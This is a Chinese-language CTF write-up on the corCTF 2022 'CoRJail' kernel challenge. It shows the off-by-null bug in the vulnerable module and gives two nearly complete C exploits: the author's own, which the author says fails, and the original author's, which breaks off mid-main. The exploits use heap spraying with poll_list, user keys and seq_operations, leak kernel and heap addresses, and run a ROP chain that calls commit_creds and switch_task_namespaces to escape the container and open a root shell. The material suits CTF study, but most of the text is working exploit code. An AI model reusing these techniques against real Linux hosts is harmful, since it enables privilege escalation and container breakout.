[corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape

news2024/12/29 14:01:21

前言

题目来源:竞赛官网 – 建议这里下载,文件系统/带符号的 vmlinux 给了

参考

[corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape Exploiting poll_list Objects In The Linux Kernel – 原作者文章,poll_list 利用方式
corCTF-2022:Corjail-内核容器逃逸 – 对题目做了详细的解析

漏洞解析与利用

这里就直接对着源码看了,想分析题目的请阅读上述参考文章。

漏洞出现在 cormon_proc_write 函数中:

static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) 
{
    loff_t offset = *ppos;
    char *syscalls;
    size_t len;

    if (offset < 0)
        return -EINVAL;

    if (offset >= PAGE_SIZE || !count)
        return 0;

    len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;

    syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
    printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);

    if (!syscalls)
    {
        printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
        return -ENOMEM;
    }

    if (copy_from_user(syscalls, ubuf, len))
    {
        printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
        return -EFAULT;
    }

    syscalls[len] = '\x00';

    if (update_filter(syscalls))
    {
        kfree(syscalls);
        return -EINVAL;
    }

    kfree(syscalls);

    return count;
}

len = PAGE_SIZE 时,存在 off by null 漏洞,测试发现没有开 cg,所以利用方式很多,但是题目是在容器中并且限制了很多系统调用,比如 msgsnd 等。

这里笔者采用了两种利用方式,第一种就是原作者文章中提出的利用 poll_list 构造任意释放原语,然后利用该原语构造 UAF,详细见原文。这里给出笔者的 exp

这种方式感觉很不稳定,然后我的 exp 存在问题,打不通。但是原作者的 exp 是可以成功打通的。原作者的 exp 可以好好学习一下,里面有很多技巧去稳定堆喷

笔者 exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <poll.h>
#include <pthread.h>
#include <keyutils.h>

#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>

#include <linux/rtnetlink.h>
#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/pfkeyv2.h>
#include <linux/xfrm.h>

#include <net/if.h>
#include <arpa/inet.h>

struct rcu_head
{
    void *next;
    void *func;
};

struct user_key_payload
{
    struct rcu_head rcu;
    unsigned short      datalen;
    char *data[];
};

struct poll_list
{
    struct poll_list *next;
    int len;
    struct pollfd entries[];
};

struct tty_file_private {
        size_t tty;
        size_t file;
        size_t next;
        size_t prev;
};

int randint(int min, int max)
{
    return min + (rand() % (max - min));
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] %s\033[0m\n", msg);
    sleep(1);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#llx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


// #define DEBUG 1
#ifdef DEBUG
#define debug(...) printf(__VA_ARGS__)
#else
#define debug(...) do {} while (0)
#endif

#define PAGE_SIZE 4096
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16

// size 为预分配的对象大小
#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);

pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
int fds[0x1000];

struct t_args
{
    int id;
    int nfds;
    int timer;
    bool suspend;
};

void assign_thread_to_core(int core_id)
{
    cpu_set_t mask;

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0)
    {
        perror("[X] assign_thread_to_core_range()");
        exit(1);
    }
}

void init_fd(int i)
{
    fds[i] = open("/etc/passwd", O_RDONLY);

    if (fds[i] < 1)
    {
        perror("[X] init_fd()");
        exit(1);
    }
}

void *alloc_poll_list(void *args)
{
    struct pollfd *pfds;
    int nfds, timer, id;
    bool suspend;

    id    = ((struct t_args *)args)->id;
    nfds  = ((struct t_args *)args)->nfds;
    timer = ((struct t_args *)args)->timer;
    suspend = ((struct t_args *)args)->suspend;

    pfds = calloc(nfds, sizeof(struct pollfd));

    for (int i = 0; i < nfds; i++)
    {
        pfds[i].fd = fds[0];
        pfds[i].events = POLLERR;
    }

    assign_thread_to_core(0);

    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);

    debug("[Thread %d] Start polling...\n", id);
    int ret = poll(pfds, nfds, timer);
    debug("[Thread %d] Polling complete: %d!\n", id, ret);

    assign_thread_to_core(randint(1, 3));

    if (suspend)
    {
        debug("[Thread %d] Suspending thread...\n", id);

        pthread_mutex_lock(&mutex);
        poll_threads--;
        pthread_mutex_unlock(&mutex);

        while (1) { };
    }

}

void create_poll_thread(int id, size_t size, int timer, bool suspend)
{
    struct t_args *args;

    args = calloc(1, sizeof(struct t_args));

    if (size > PAGE_SIZE)
        size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));

    args->id = id;
    args->nfds = NFDS(size);
    args->timer = timer;
    args->suspend = suspend;

    pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}


void join_poll_threads(void)
{
    for (int i = 0; i < poll_threads; i++)
    {
        pthread_join(poll_tid[i], NULL);
        open("/proc/self/stat", O_RDONLY);
    }

    poll_threads = 0;
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000
bool is_kernel_pointer(uint64_t addr)
{
    return ((addr & KERNEL_MASK) == KERNEL_MASK) ? true : false;
}

bool is_heap_addr(size_t addr) {
    return addr >= 0xFFFF888000000000 && addr <= 0xFFFFF00000000000;
}

bool is_heap_pointer(uint64_t addr)
{
    return (((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr)) ? true : false;
}

int fd;
void off_by_null(){
        char buf[PAGE_SIZE] = { 0 };
        write(fd, buf, PAGE_SIZE);
}

#define SPRAY_SEQ_F 2048
#define SPRAY_SEQ_S 128
#define SPRAY_SEQ (SPRAY_SEQ_F+SPRAY_SEQ_S)
#define SPRAY_KEY 199
#define SPRAY_TTY 256
#define SPRAY_PIPE 1024

int seq_fd[SPRAY_SEQ];
int key_id[SPRAY_KEY];
int tty_fd[SPRAY_TTY];
int pipe_fd[SPRAY_PIPE][2];
size_t kbase, koffset;

int main(int argc, char** argv, char** envp)
{
        bind_core(0);
        save_status();
        char buf[0x20000] = { 0 };

        fd = open("/proc_rw/cormon", O_RDWR);
        if (fd < 0) err_exit("FAILED to open /proc_rw/cormon");

        init_fd(0);

        info("Saturating kmalloc-32 partial slabs...");
        for (int i = 0; i < SPRAY_SEQ_F; i++) {
                seq_fd[i] = open("/proc/self/stat", O_RDONLY);
                if (seq_fd[i] < 0)
                        err_exit("FAILED to open /proc/self/stat at Saturating kmalloc-32 partial slabs");
        }

        info("Spraying user_key_payload in kmalloc-32...");
        for (int i = 0; i < SPRAY_KEY / 3; i++) {
                char value[100] = { 0 };
                char des[8] = { 0 };
                sprintf(des, "%d", i);
                setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);
                key_id[i] = key_alloc(des, value, 32-0x18);
                if (key_id[i] < 0) err_exit("FAILED to alloc user key");
        }

        int thread_nums = 22;
        info("Creating poll threads to spray poll_list chain...");
        for (int i = 0; i < thread_nums; i++) {
                create_poll_thread(i, 4096+24, 4000, false);
        }
        while (poll_threads != thread_nums) {}
        sleep(1);

        info("Spraying user_key_payload in kmalloc-32...");
        for (int i = SPRAY_KEY / 3; i < SPRAY_KEY; i++) {
                char value[32] = { 0 };
                char des[8] = { 0 };
                sprintf(des, "%d", i);
                setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);
                key_id[i] = key_alloc(des, value, 32-0x18);
                if (key_id[i] < 0) err_exit("FAILED to alloc user key");
        }

        info("Corrupting poll_list next pointer...");
        off_by_null();

        info("Triggering arbitrary free...");
        join_poll_threads();

        info("Overwriting user_key_payload.datalen by spraying seq_operations...");
        for (int i = 0; i < SPRAY_SEQ_S; i++) {
                seq_fd[SPRAY_SEQ_F+i] = open("/proc/self/stat", O_RDONLY);
                if (seq_fd[SPRAY_SEQ_F+i] < 0)
                        err_exit("FAILED to open /proc/self/stat to spray seq_operations");
        }

        info("Leaking kernel addr...");
        int victim_key_i = -1;
        uint64_t proc_single_show = -1;
        for (int i = 0; i < SPRAY_KEY; i++) {
                if (key_read(key_id[i], buf, sizeof(buf)) > 32) {
                        binary_dump("OOB READ DATA", buf, 0x20);
                        victim_key_i = i;
                        proc_single_show = *(uint64_t*)buf;
                        koffset = proc_single_show - 0xffffffff813275c0;
                        kbase = koffset + 0xffffffff81000000;
                        hexx("victim_key_i", i);
                        hexx("proc_single_show", proc_single_show);
                        hexx("koffset", koffset);
                        hexx("kbase", kbase);
                        break;
                }
        }
        if (victim_key_i == -1) err_exit("FAILED to leak kernel addr");

        info("Freeing all user_key_payload...");
        for (int i = 0; i < SPRAY_KEY; i++) {
                if (i != victim_key_i) {
                        key_revoke(key_id[i]);
                        if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");
                }
        }

//      info("Freeing partial seq_operations...");
//      for (int i = 0; i < SPRAY_SEQ_S; i += 2) {
//              close(seq_fd[SPRAY_SEQ_F+i]);
//      }

        sleep(1);

        info("Spraying tty_file_private / tty_sturct...");
        for (int i = 0; i < SPRAY_TTY; i++) {
                tty_fd[i] = open("/dev/ptmx", O_RDWR|O_NOCTTY);
                if (tty_fd[i] < 0) err_exit("FAILED to open /dev/ptmx");
        }

        info("Leak heap addr by OOB READ tty_file_private.tty_struct...");
        memset(buf, 0, sizeof(buf));
        int len = key_read(key_id[victim_key_i], buf, sizeof(buf));
        hexx("OOB READ len", len);
        struct tty_file_private* tfp;
        struct tty_file_private tfp_data;
        for (size_t i = 0; i < len; i += 8) {
                tfp = (struct tty_file_private*)(&buf[i]);
                if (is_heap_pointer(tfp->tty) && (((tfp->tty) & 0xff) == 0)) {
                        if ((tfp->next == tfp->prev) && (tfp->next != 0)) {
                                if (tfp->tty != tfp->file && tfp->tty != tfp->next) {
                                        binary_dump("tty_file_private", tfp, sizeof(struct tty_file_private));
                                        memcpy(&tfp_data, tfp, sizeof(struct tty_file_private));
                                        break;
                                }
                        }
                }
                tfp = NULL;
        }

        if (tfp == NULL) err_exit("FAILED to leak heap addr");

        uint64_t target_obj = tfp_data.tty;
        hexx("A kmalloc-1k obj addr", target_obj);

//      info("Freeing the rest of seq_operations...");
//      for (int i = 1; i < SPRAY_SEQ_S; i += 2) {
//              close(seq_fd[SPRAY_SEQ_F+i]);
//      }

        info("Freeing all seq_operations...");
        for (int i = 0; i < SPRAY_SEQ_S; i++) {
                close(seq_fd[SPRAY_SEQ_F+i]);
        }
        sleep(1);

        thread_nums = 199;
        info("Creating poll threads to spray poll_list chain...");
        for (int i = 0; i < thread_nums; i++) {
                create_poll_thread(i, 24, 5000, false);
        }
        while (poll_threads != thread_nums) {}
        sleep(1);

        info("Freeing victim key...");
        key_revoke(key_id[victim_key_i]);
        if (key_unlink(key_id[victim_key_i]) < 0) err_exit("FAILED to key_unlink");

        info("Corrupting poll_list next pointer...");
        for (int i = 0; i < SPRAY_KEY - 1; i++) {
                char value[100] = { 0 };
                char des[100] = { 0 };
                *(uint64_t*)value = target_obj - 0x18;
                sprintf(des, "%d", i);
                setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);
                key_id[i] = key_alloc(des, value, 32-0x18);
                if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");
        }

        info("Freeing all tty_file_private / tty_struct...");
        for (int i = 0; i < SPRAY_TTY; i++) {
                close(tty_fd[i]);
        }

/*      info("Spraying user_key_payload to occupy some kmalloc-1k objs...");
        for (int i = 0; i < SPRAY_KEY; i++) {
                char value[0x1000] = { 0 };
                char des[8] = { 0 };
                sprintf(des, "%d", i);
                key_id[i] = key_alloc(des, value, 1024-0x18);
                if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");
        }
        sleep(1);

        info("Freeing some user_key_payload to kmalloc-1k slab...");
        for (int i = 0; i < SPRAY_KEY; i += 2) {
                key_revoke(key_id[i]);
                if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");
        }
*/
        info("Spraying pipe_buffer to occupy target obj...");
        for (int i = 0; i < SPRAY_PIPE; i++) {
                if (pipe(pipe_fd[i]) < 0) err_exit("FAILED to spray pipe_buffer");
                write(pipe_fd[i][1], "Pwn", 3);
        }

/*      info("Freeing the rest of user_key_payload to kmalloc-1k slab...");
        for (int i = 1; i < SPRAY_KEY; i += 2) {
                key_revoke(key_id[i]);
                if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");
        }
*/
        info("Triggering arbitrary free...");
        join_poll_threads();
        sleep(1);

        char* buff = (char *)calloc(1, 1024);

        // Stack pivot
        *(uint64_t *)&buff[0x10] = target_obj + 0x30;             // anon_pipe_buf_ops
        *(uint64_t *)&buff[0x38] = koffset + 0xffffffff81882840;  // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]
        *(uint64_t *)&buff[0x66] = koffset + 0xffffffff810007a9;  // pop rsp ; ret
        *(uint64_t *)&buff[0x00] = koffset + 0xffffffff813c6b78;  // add rsp, 0x78 ; ret

        // ROP
        uint64_t* rop = (uint64_t *)&buff[0x80];

        // creds = prepare_kernel_cred(0)
        *rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret
        *rop ++= 0;                            // 0
        *rop ++= koffset + 0xffffffff810ebc90; // prepare_kernel_cred

        // commit_creds(creds)
        *rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret
        *rop ++= 0;                            // 0
        *rop ++= koffset + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
        *rop ++= koffset + 0xffffffff810eba40; // commit_creds

        // task = find_task_by_vpid(1)
        *rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret
        *rop ++= 1;                            // pid
        *rop ++= koffset + 0xffffffff810e4fc0; // find_task_by_vpid

        // switch_task_namespaces(task, init_nsproxy)
        *rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret
        *rop ++= 0;                            // 0
        *rop ++= koffset + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
        *rop ++= koffset + 0xffffffff8100051c; // pop rsi ; ret
        *rop ++= koffset + 0xffffffff8245a720; // init_nsproxy;
        *rop ++= koffset + 0xffffffff810ea4e0; // switch_task_namespaces

        // new_fs = copy_fs_struct(init_fs)
        *rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret
        *rop ++= koffset + 0xffffffff82589740; // init_fs;
        *rop ++= koffset + 0xffffffff812e7350; // copy_fs_struct;
        *rop ++= koffset + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret

        // current = find_task_by_vpid(getpid())
        *rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret
        *rop ++= getpid();                     // pid
        *rop ++= koffset + 0xffffffff810e4fc0; // find_task_by_vpid

        // current->fs = new_fs
        *rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret
        *rop ++= 0x6e0;                        // current->fs
        *rop ++= koffset + 0xffffffff8102396f; // add rax, rcx ; ret
        *rop ++= koffset + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret
        *rop ++= 0;                            // rbx

        // kpti trampoline
        *rop ++= koffset + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22
        *rop ++= 0;
        *rop ++= 0;
        *rop ++= (uint64_t)&get_root_shell;
        *rop ++= user_cs;
        *rop ++= user_rflags;
        *rop ++= user_sp;
        *rop ++= user_ss;

        info("Freeing all user_key_payload...");
        for (int i = 0; i < SPRAY_KEY - 1; i++) {
                key_revoke(key_id[i]);
                if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");
        }
        sleep(1);

        info("Spray ROP chain...");
        for (int i = 0; i < 19; i++) {
                char des[100] = { 0 };
                sprintf(des, "%d", i);
                key_id[i] = key_alloc(des, buff, 1024-0x18);
                if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");
        }

        info("Hijacking control flow...");
        for (int i = 0; i < SPRAY_PIPE; i++) {
                close(pipe_fd[i][0]);
                close(pipe_fd[i][1]);
        }
        puts("EXP NERVER END!");
        return 0;
}

效果如下:根本打不通,还是太菜了,最后似乎无法成功拿到 target_object
在这里插入图片描述
原作者 exp:成功率还行,可以接收


#define _GNU_SOURCE

#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <poll.h>
#include <pthread.h>
#include <keyutils.h>

#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>

#include <linux/rtnetlink.h>
#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/pfkeyv2.h>
#include <linux/xfrm.h>

#include <net/if.h>
#include <arpa/inet.h>

// #define DEBUG 1

#ifdef DEBUG
#define debug(...) printf(__VA_ARGS__)
#else
#define debug(...) do {} while (0)
#endif

#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000

#define PAGE_SIZE 4096
#define MAX_KEYS 199
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16

#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);

pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;

uint64_t usr_cs, usr_ss, usr_rflags;
uint64_t proc_single_show;
uint64_t target_object;
uint64_t kernel_base;

int pipes[0x1000][2];
int seq_ops[0x10000];
int ptmx[0x1000];
int fds[0x1000];
int keys[0x1000];
int corrupted_key;
int n_keys;
int fd;
int s;


struct t_args
{
    int id;
    int nfds;
    int timer;
    bool suspend;
};


struct rcu_head
{
    void *next;
    void *func;
};


struct user_key_payload
{
    struct rcu_head rcu;
    unsigned short	datalen;
    char *data[];
};


struct poll_list
{
    struct poll_list *next;
    int len;
    struct pollfd entries[];
};



bool is_kernel_pointer(uint64_t addr)
{
    return ((addr & KERNEL_MASK) == KERNEL_MASK) ? true : false;
}


bool is_heap_pointer(uint64_t addr)
{
    return (((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr)) ? true : false;
}


void __pause(char *msg)
{
    printf("[-] Paused - %s\n", msg);
    getchar();
}


void save_state()
{
    __asm__ __volatile__(
        "movq %0, cs;"
        "movq %1, ss;"
        "pushfq;"
        "popq %2;"
        : "=r" (usr_cs), "=r" (usr_ss), "=r" (usr_rflags) : : "memory" );
}


int randint(int min, int max)
{
    return min + (rand() % (max - min));
}


void assign_to_core(int core_id)
{
    cpu_set_t mask;

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
    {
        perror("[X] sched_setaffinity()");
        exit(1);
    }
}


void assign_thread_to_core(int core_id)
{
    cpu_set_t mask;

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0)
    {
        perror("[X] assign_thread_to_core_range()");
        exit(1);
    }
}


void init_fd(int i)
{
    fds[i] = open("/etc/passwd", O_RDONLY);

    if (fds[i] < 1)
    {
        perror("[X] init_fd()");
        exit(1);
    }
}


void *alloc_poll_list(void *args)
{
    struct pollfd *pfds;
    int nfds, timer, id;
    bool suspend;

    id    = ((struct t_args *)args)->id;
    nfds  = ((struct t_args *)args)->nfds;
    timer = ((struct t_args *)args)->timer;
    suspend = ((struct t_args *)args)->suspend;

    pfds = calloc(nfds, sizeof(struct pollfd));

    for (int i = 0; i < nfds; i++)
    {
        pfds[i].fd = fds[0];
        pfds[i].events = POLLERR;
    }

    assign_thread_to_core(0);

    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);

    debug("[Thread %d] Start polling...\n", id);
    int ret = poll(pfds, nfds, timer);
    debug("[Thread %d] Polling complete: %d!\n", id, ret);
    
    assign_thread_to_core(randint(1, 3));

    if (suspend)
    {   
        debug("[Thread %d] Suspending thread...\n", id);

        pthread_mutex_lock(&mutex);
        poll_threads--;
        pthread_mutex_unlock(&mutex);

        while (1) { };
    }
        
}


void create_poll_thread(int id, size_t size, int timer, bool suspend)
{
    struct t_args *args;

    args = calloc(1, sizeof(struct t_args));

    if (size > PAGE_SIZE)
        size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));

    args->id = id;
    args->nfds = NFDS(size);
    args->timer = timer;
    args->suspend = suspend;

    pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}


void join_poll_threads(void)
{
    for (int i = 0; i < poll_threads; i++)
    {
        pthread_join(poll_tid[i], NULL);
        open("/proc/self/stat", O_RDONLY);
    }
        
    poll_threads = 0;
}


int alloc_key(int id, char *buff, size_t size)
{
	char desc[256] = { 0 };
    char *payload;
    int key;

    size -= sizeof(struct user_key_payload);

    sprintf(desc, "payload_%d", id);

    payload = buff ? buff : calloc(1, size);

    if (!buff)
        memset(payload, id, size);    

    key = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING);

    if (key < 0)
	{
		perror("[X] add_key()");
		return -1;
	}
    	
    return key;
}


void free_key(int i)
{
	keyctl_revoke(keys[i]);
	keyctl_unlink(keys[i], KEY_SPEC_PROCESS_KEYRING);
    n_keys--;
}


void free_all_keys(bool skip_corrupted_key)
{
    for (int i = 0; i < n_keys; i++)
    {   
        if (skip_corrupted_key && i == corrupted_key)
            continue;

        free_key(i);
    }

    sleep(1); // GC keys
}


char *get_key(int i, size_t size)
{
	char *data;

	data = calloc(1, size);
	keyctl_read(keys[i], data, size);

	return data;
}


void alloc_pipe_buff(int i)
{
    if (pipe(pipes[i]) < 0)
    {
        perror("[X] alloc_pipe_buff()");
        return;
    }

    if (write(pipes[i][1], "XXXXX", 5) < 0)
    {
        perror("[X] alloc_pipe_buff()");
        return;
    }
}


void release_pipe_buff(int i)
{
    if (close(pipes[i][0]) < 0)
    {
        perror("[X] release_pipe_buff()");
        return;
    }

    if (close(pipes[i][1]) < 0)
    {
        perror("[X] release_pipe_buff()");
        return;
    }
}


void alloc_tty(int i)
{
    ptmx[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);

    if (ptmx[i] < 0)
    {
        perror("[X] alloc_tty()");
        exit(1);
    }
}


void free_tty(int i)
{
    close(ptmx[i]);
}


void alloc_seq_ops(int i)
{
    seq_ops[i] = open("/proc/self/stat", O_RDONLY);

    if (seq_ops[i] < 0)
    {
        perror("[X] spray_seq_ops()");
        exit(1);
    }
}


void free_seq_ops(int i)
{
    close(seq_ops[i]);
}


int leak_kernel_pointer(void)
{
    uint64_t *leak;
    char *key;

    for (int i = 0; i < n_keys; i++)
    {
        key = get_key(i, 0x10000);
        leak = (uint64_t *)key;

        if (is_kernel_pointer(*leak) && (*leak & 0xfff) == 0x5c0)
        {
            corrupted_key = i;
            proc_single_show = *leak;
            kernel_base = proc_single_show - 0xffffffff813275c0;

            printf("[+] Corrupted key found: keys[%d]!\n", corrupted_key);
            printf("[+] Leaked proc_single_show address: 0x%llx\n", proc_single_show);
            printf("[+] Kernel base address: 0x%llx\n", kernel_base + 0xffffffff00000000);
            
            return 0;
        }
    }

    return -1;
}


int leak_heap_pointer(int kid)
{
    uint64_t *leak;
    char *key;

    key = get_key(kid, 0x20000);
    leak = (uint64_t *)key;

    for (int i = 0; i < 0x20000/sizeof(uint64_t); i++)
    {
        if (is_heap_pointer(leak[i]) && (leak[i] & 0xff) == 0x00)
        {   
            if (leak[i + 2] == leak[i + 3] && leak[i + 2] != 0)
            {
                target_object = leak[i];
                printf("[+] Leaked kmalloc-1024 object: 0x%llx\n", target_object);
                return 0;
            }
        }
    }

    return -1;
}


bool check_root()
{
	int fd;
    
    if ((fd = open("/etc/shadow", O_RDONLY)) < 0)
        return false;
        
    close(fd);
    
    return true;
}


void win(void)
{
    if (check_root())
    {
        puts("[+] We are Ro0ot!");
        char *args[] = { "/bin/bash", "-i", NULL };
        execve(args[0], args, NULL);
    }
}


int main(int argc, char **argv)
{   
    char data[0x1000] = { 0 };
    char key[32] = { 0 };
    uint64_t *rop;
    void *stack;
    char *buff;

    assign_to_core(0);
    save_state();

    stack = mmap((void *)0xdead000, 0x10000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    fd = open("/proc_rw/cormon", O_RDWR);
    
    if (fd < 0)
    {
        perror("[X] open()");
        return -1;
    }

    init_fd(0);

    puts("[*] Saturating kmalloc-32 partial slabs...");
    for (int i = 0; i < 2048; i++)
        alloc_seq_ops(i);

    puts("[*] Spraying user keys in kmalloc-32...");
    for (int i = 0; i < 72; i++)
    {   
        setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);
    }
    
    assign_to_core(randint(1, 3));
    
    puts("[*] Creating poll threads...");
    for (int i = 0; i < 14; i++)
        create_poll_thread(i, 4096 + 24, 3000, false);

    assign_to_core(0);

    while (poll_threads != 14) { };
    usleep(250000);

    puts("[*] Spraying more user keys in kmalloc-32...");
    for (int i = 72; i < MAX_KEYS; i++)
    {
        setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);
    }

    puts("[*] Corrupting poll_list next pointer...");
    write(fd, data, PAGE_SIZE);

    puts("[*] Triggering arbitrary free...");
    join_poll_threads();

    puts("[*] Overwriting user key size / Spraying seq_operations structures...");
    for (int i = 2048; i < 2048 + 128; i++)
        alloc_seq_ops(i);

    puts("[*] Leaking kernel pointer...");
    if (leak_kernel_pointer() < 0)
    {
        puts("[X] Kernel pointer leak failed, try again...");
        exit(1);
    }
    
    puts("[*] Freeing user keys...");
    free_all_keys(true);

    puts("[*] Spraying tty_file_private / tty_struct structures...");
    for (int i = 0; i < 72; i++)
        alloc_tty(i);

    puts("[*] Leaking heap pointer...");
    if (leak_heap_pointer(corrupted_key) < 0)
    {
        puts("[X] Heap pointer leak failed, try again...");
        exit(1);
    }

    puts("[*] Freeing seq_operation structures...");
    for (int i = 2048; i < 2048 + 128; i++)
        free_seq_ops(i);
    
    assign_to_core(randint(1, 3));

    puts("[*] Creating poll threads...");
    for (int i = 0; i < 192; i++)
        create_poll_thread(i, 24, 3000, true);

    assign_to_core(0);
    
    while (poll_threads != 192) { }; 
